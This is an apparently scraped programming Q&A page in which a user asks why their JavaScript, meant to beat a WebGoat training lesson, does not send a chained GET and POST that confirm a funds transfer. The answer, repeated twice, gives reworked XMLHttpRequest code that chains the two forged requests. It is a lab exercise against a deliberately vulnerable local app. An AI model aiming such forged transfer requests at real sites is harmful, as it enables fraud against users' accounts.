JavaScript's XMLHttpRequest

Question

JavaScript's XMLHttpRequest

My attempt to bypass the WebGoat prompt involved using a combination of javascript code with XMLHttpRequest to send multiple requests, one using GET and the other using POST. The code snippet is as follows:

<script>
  var req1 = new XMLHttpRequest();
  req1.onreadystatechange = function() {

    if (req1.readyState == 4 && req1.status == 200) {

      req2 = new XMLHttpRequest();
      req2.open("POST", "http://localhost:8080/WebGoat/attack?Screen=32&menu=900", false);
      req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // needs to be specified for POST requests
      req2.send("transferFunds=CONFIRM");

    }

  };
  req1.open("GET", "http://localhost:8080/WebGoat/attack?Screen=32&menu=900&transferFunds=4000", false);
  req1.send();
</script>

Upon saving this code as an HTML file and opening it, no requests other than the initial GET request with status 302 are being made. How can I modify this code to ensure its successful execution? Browser used: Firefox 40.0.3 WebGoat Version: 6.0.1

javascript

Answer 1

Answer №1

If you're looking to improve efficiency, consider chaining requests together.

The process involves executing the first request and then proceeding to the next only if the callback function returns a status of 200 (OK).

An example has been provided below:

(function() {


  // Custom implementation of XMLHttpRequest object for handling requests.
  function sendServer(options) {
    var newXHR = new XMLHttpRequest() || new ActiveXObject("Microsoft.XMLHTTP");
    options.async = true;
    options.contentType = options.contentType || "application/x-www-form-urlencoded";
    newXHR.open(options.type, options.url, options.async || true);
    newXHR.setRequestHeader("Content-Type", options.contentType);
    newXHR.send((options.type == "POST") ? options.data : null);
    newXHR.onreadystatechange = options.callback;
    return newXHR;
  }



  // Usage:

  // First request: GET
  sendServer({
    type: "GET",
    url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900&transferFunds=4000",
    data: null,
    async: false,
    callback: function(xhr) {
      if (xhr.target.readyState === 4 && xhr.target.status === 200) {

        // Second request: POST
        sendServer({
          type: "POST",
          url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900",
          data: "transferFunds=CONFIRM",
          async: false,
          callback: function(xhr) {
            if (xhr.target.readyState === 4 && xhr.target.status === 200) {
              console.log(xhr.target.responseText); // Check the response.
            }
          }
        });
      }
    }
  });



})();

For further details, see the reference link: http://jsfiddle.net/dannyjhonston/jppz5nk3/1/

Answer 2

If you're looking to improve efficiency, consider chaining requests together.

The process involves executing the first request and then proceeding to the next only if the callback function returns a status of 200 (OK).

An example has been provided below:

(function() {


  // Custom implementation of XMLHttpRequest object for handling requests.
  function sendServer(options) {
    var newXHR = new XMLHttpRequest() || new ActiveXObject("Microsoft.XMLHTTP");
    options.async = true;
    options.contentType = options.contentType || "application/x-www-form-urlencoded";
    newXHR.open(options.type, options.url, options.async || true);
    newXHR.setRequestHeader("Content-Type", options.contentType);
    newXHR.send((options.type == "POST") ? options.data : null);
    newXHR.onreadystatechange = options.callback;
    return newXHR;
  }



  // Usage:

  // First request: GET
  sendServer({
    type: "GET",
    url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900&transferFunds=4000",
    data: null,
    async: false,
    callback: function(xhr) {
      if (xhr.target.readyState === 4 && xhr.target.status === 200) {

        // Second request: POST
        sendServer({
          type: "POST",
          url: "http://localhost:8080/WebGoat/attack?Screen=32&menu=900",
          data: "transferFunds=CONFIRM",
          async: false,
          callback: function(xhr) {
            if (xhr.target.readyState === 4 && xhr.target.status === 200) {
              console.log(xhr.target.responseText); // Check the response.
            }
          }
        });
      }
    }
  });



})();

For further details, see the reference link: http://jsfiddle.net/dannyjhonston/jppz5nk3/1/

JavaScript's XMLHttpRequest

Answer №1

Similar questions

What is the trick to incorporating nested tabs within tabs?

Assistance needed in obtaining the ID of a specific table row using jQuery

Ajax is updating the initial row of an HTML table while the subsequent rows remain unchanged and retain their default values upon modification

Executing two nested loops with a delay in jQuery

Combining strings within a string after a specific word with nested Concatenation

Retrieving data from the firebase database by filtering based on the child's specific value

Add a prefix to a value entered by the user

Continuously running React useEffect even with an empty dependency array

Ways to adjust the positioning of an image

I am encountering the error message "Utils is not defined" while attempting to generate a chart using chart.js

Guide on applying a filter to the items in a listbox using the input from a text box

Angular 5 - Strategies for excluding specific properties from Observable updates

How can we store data coming from PHP using AJAX and update the color of a div whenever new data is inserted?

Issue: Unable to 'locate' or 'access' ./lib/React folder while utilizing webpack

Passing data from client to express.js using Javascript

Mongoose schema nesting guide

What exactly is the purpose of editing a host file?

Ways to discreetly conceal forward and backward buttons in the v-pagination component of Vuetify

JavaScript issue: "No relay configuration found" error specifically occurs in Internet Explorer versions 7 and 8

Using the 'client-side rendering' and runtime environment variables in Next.js with the App Router